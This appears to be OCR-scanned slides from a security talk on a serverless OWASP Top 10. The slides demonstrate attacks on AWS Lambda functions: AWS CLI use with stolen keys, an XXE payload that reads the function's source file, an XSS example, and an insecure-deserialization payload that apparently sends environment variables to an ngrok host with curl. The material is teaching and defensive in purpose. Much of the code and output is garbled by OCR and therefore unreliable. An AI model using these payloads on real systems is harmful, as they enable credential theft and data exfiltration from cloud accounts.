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Triggers: email, log, apigw, mgtt, file, auhth, etc.
Ephemeral Data: /tmp
Source Code: /var/task/

and /proc/1l/cwd/

Environment vars (+keys): env | /proc/l/environ
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e Current project state:
o Interpretation of Top 10

o Open Data Call: http://tiny.cc/serverless

e Goal: Serverless-tailored Top 10
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http://tiny.cc/serverless

Injection

e Multiple, uncontrolled entry points

e Traditional injections (cmdi, no/sqli, etc)
e Per-language Code Injection

e New Injections (MQTT, Email, Pub/Sub)

e Depends on the vulnerable function permissions
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Before After
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Broken Authentication

e Functions are Stateless
e Multiple entry points, services, events and triggers
e No continuous flow
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Internal function, exposed to attacker via SES
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Sensitive Data Exposure

e Same as any other cloud-based data
e Common serverless scenarios:
o Data under /tmp
o Sensitive data in environment variable
o Sensitive data in an open bucket
o Source code is also in the environment
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Stealing function keys

lambdagaws:
MBD /
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Stealing function keys

elzer@protegolabs:~S aws dynamodb list-tables --profile stolen_keys

"TableNames": [
"keizer-slack-messages”
]
}

celzer@protegolabs:~$S aws dynamodb describe-table --table-name keizer-slack-messages --profile stolen_keys

"Table": {
"TableArn": "arn:aws:dynamodb:us-east-1:581668322048:table/keizer-slack-messages”,
"AttributeDefinitions”: [
{
"AttributeName”: "timestamp”,
"AttributeType": "N"

"AttributeName"”: "username",
"AttributeType": "S"

}

rovisionedThroughput”: {

]

"NumberofDecreasesToday": 0,
"WriteCapacityUnits": 1,
"ReadCapacityUnits”: 1
},
"TableSizeBytes": 30682,
"TableName": "keizer-slack-messages"”,
"TableStatus": "ACTIVE",
"TableId": "7748ff71-37ce-4f68-8b2c-9eef31b14d31",
"KeySchema": [

"KeyType": "HASH",
"AttributeName": "username"
}s
{
"KeyType": "RANGE",
"AttributeName": "timestamp”
}
15
"ItemCount": 329,
"CreationDateTime": 1541971026.685
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XML External Entity

e |nsecure way of parsing XML files by the serverless
function

e The exploitability may not always be fruitful
o function may sit in VPC
o built-in libraries are secured

@ &Protego




Serverless XXE attack

from 1xml import etree
import boto3,o0s,urllib, json

def lambda handler(event, c
s3 = boto3.resource('s3

ontext):

")

key = urllib.unquote plus(event['Records'][0]['s3"']['object']['key']).decode('utf8")

s3.meta.client.download

file(os.environ['BUCKET'], key, '/tmp/f.xml')

parser = etree.XMLParser(resolve entities=True, load dtd=True, no network=False)

try:
root = etree.parse(
process xml(root)
except etree.XMLSyntaxE

"/tmp/f.xml', parser).getroot()

rror:

return None

def process xml():=

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY bar SYSTEM "file:///var/task/handler.py" >]>
<root>
<child>AAAAA</child>
<child>&bar;</child>
<child>CCCC</child>
</root>
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XXE in CloudWatch Logs
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START Requestld: 851235a7-c2cc-11e8-850e-854fc4a39750 Version: SLATEST
<root>

<child>AAAAA</child>

<child>from Ixml import etree

import boto3,0s,urllib json

def lambda_handler(event, context):

s3 = boto3.resource('s3")

key = urllib.unquote_plus(event['Records'][0]['s3']['object]['key’]) decode('utf8’)
s3.meta.client.download_file(os.environ[BUCKET], key, ‘/tmp/f.xml’)
#response = s3.get_object(Bucket=os.environ[BUCKET'], Key=key)

#file = response['Body’].read()

parser = etree. XMLParser(resolve_entities=True)

try:

root = etree.parse('tmp/f.xml', parser).getroot()

print etree.tostring(root)

“for element in root:

if element.text is not None and not element.text.strip():

print element.text™

except etree. XMLSyntaxError:

return None

</child>

<child>CCCC</child>

</root>

END Requestid: 851235a7-c2cc-11e8-850e-8541c4a39750

REPORT Requestid: 851235a7-c2cc-11e8-850e-854fc4a39750 Duration: 260.40 ms Bi
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Broken Access Control

e Over privileged functions

e |Impact of other vulnerabilities depends on the
permission given to the function

o In extreme cases - full cloud account takeover
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var params =

var s3 = new AWS.S3({apiVersion:
{Bucket:
var file = require('fs').createWriteStream('/tmp/file.jpg');
s3.getObject (params) .createReadStream () .pipe (file) ;

'2006-03-01"}) ;
'myBucket', Key: imageFileName};

FProtego

{ { {
"Version": "2012-10-17", "Version": "2012-10-17", "Version": "2012-10-17",
"Statement": [{ "Statement": [{ "Statement": [{
"Effect": "Allow", "Effect": "Allow", "Effect": "Allow",
"Action": ["s3:*"], "Action": ["s3:*"], "Action":
"Resource": "Resource": ["s3:GetObject"],
["arn:aws:s3:::*"] ["arn:aws:s3:: :myBucket/*"] "Resource":
}] }] ["arn:aws:s3:: :myBucket/*"]
} } ;]
}
Security??? Of course | care about security Least privilege*
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Security Misconfiguration

e Not just the function but how the function interacts with
the environment

e Complexity increases security misconfiguration
o 1000 functions, each requires different permission

e (Can lead to DoS/timeouts
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Cross-Site Scripting

More incoming entry points - MQTT, SES, SNS

import boto3

X z This page says
import json

Well, thats odd...

def lambda_handler(event, context): m

2 1 L ' ' ) 1 Oau—
msg_id = event['Records'][@]['Sns'][ 'Messageld’] Gets the message SUppUTl_D‘dSﬂD

msg_data = event['Records'][0]['Sns']['Message’] _ content

client = boto3.client('iot-data', region_name='us-east-1')

link = "<a href=\"https://my.api/vl/get_email?id="+msg_id+"\"/>Click</a>" protego-a7-topic -> Jun 13, 2018 6:09:51 PM

response = client.publish(
topic="protego-a7-topic’,
qos=1,
payload=json.dumps({"msg": msg_data, "id": link}) protego-a7-topic -> Jun 13, 2018 6:12:13 PM

Tasks @a33hscpm83003k.iot.us-east-1.amazonaws.com

{"msg": "Please asist!", "id": link }

Sends the message {'msg™ "Dear Sirs", “id": ink }
content to dashboard

protego-a7-topic -> Jun 13, 2018 6:14:22 PM

{'msg™: "Hello [, "id": fink}




Insecure Deserialization

e Common in Python and NodedS, but also affects
Java and dot.net

e Mostly introduced due to insecure use of 3rd party
libraries
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import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;

public class JsonMapper {
public static Movie toView(String jsonResponse) {
ObjectMapper objectMapper = new ObjectMapper();

trv {
} Version Loded
Region Unlted States (us)
Web Interface http://127.0.0.1:4040
} Forwarding http://protegolabs.ngrok.io -> localhost:8081

} Forwarding https://protegolabs.ngrok.io -> localhost:8081

} Connections ;tl opn rtl rts pS0 p9o

2 0 0.00 ©0.00 0.00 0.00 Ag=0paylond.classh

HTTP Requests

GET /?data=QVdTXINFUINJTOSTVEILRU49RKFLRQOKTERTTELCUKFSWVOQQVRIPS92YXIvenVudGltZTovdmFyL3Rhc2sN

CKFXU19FWEVDVVRITOS5 fRUSWPUFXU19MYW11iZGF fcH10aG9uMi43DQpQQVRIPS91c3IvbG ) YWwyvYmlu0i91c3IvYmluLzo
vYmluDQpQVOQOL3Zhci90YXNrDQpBVINTfUOVDUKVUXOFDQOVTULSLRVKIRKFLRQOKQVATXOFDQOVTUISLRVLfSUQSRKFLRQ
OKUFLUSESQUEFUSDOvdmFyL3J1bnRpbWUNCKFXU19TRUNVUKLUWVOUTOTFT] 16QUt FRkFLRQOKXOhBTkRHRVIbeFtYmRﬂX
2Z1bmNOawW9uLmxhbWIkYVOoYWSKbGVyDQpfPS91c3IvYmlul2Vudg== 2

8 ixpbmlOPgEAAYgpPVQEA
BENVZGUBAA9MawSlIthYmVyVGfleUBAARtYNIUAQANKftMamF?YS9sYNSnL1Nﬁcm1uZzspVgEACkV4Y2delebnMHA
BgBAAPTD3VYY2VGaWx LAQAMCGF 5bGIhZC5qYXZhDAAHAAQHABKMABOAGWEAR2VUAD J19ZW52FGIhC2UZNCALLXdYYXAIMG
A7IGN1cmwgaHROcDovL3Byb3R1Z29sYWIzLmSncm9rLmlvP2RhdGESJHt LbnZ9DAACABOBAADWYX1sb2FkAQAQamF2YS9
sYWSnLO91amVidAEAE2phdmEVbGFuZy9FeGNLcHRpb24BABFqYXZhL2xhbmcvUnVudGLltZQEACMd LdFJ1bnRpbWUBABUO
KUxqQYXZhL2xhbmcvUnVudGLtZTsBAARLeGVIAQANKEXQYXZhL2XxhbmcvU3RyaWSnOylMamF2YS9sYHSNL1BYD2N1C3M7A
CEABQAGAAAAAAACAAEABWAIAAEACQAAABOAAQABAAAABSQ3AAGXAAAAAQAKAAAABGABAAAAAQAIAASADAACAAKAAAAMAA
TAAgAAAAQ4AATISATYABEYXAAAAAQAKAAAACGACAAAABAAIAAUADQAAAAQAAQADAAEADWAAAATAEA==
[1]+ Done base64 --wrap=0 payload.class




Vulnerable Dependencies

e Using dependencies which are insecure
e \ery common

e Functions may have 100 lines of code, but they bring
everything with them
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Insufficient Logging & Monitoring

More difficult than traditional web applications
We don’t own the infrastructure - where to deploy?

Logs exist, but we need to know how and what to
extract.

Even if we do:
o with 1M invocations - how can we learn anything?
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Stateless & Ephemeral
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DoW / DoS
Execution Flow Manipulation
Insecure Shared Space

Insecure Secret Management
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G DVSA

DAMN VULNERABLE SERVERLESS APPLICATION

https://github.com/owasp/dvsa
@DVSAowasp
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http://www.protego.io/resources
https://github.com/owasp/dvsa
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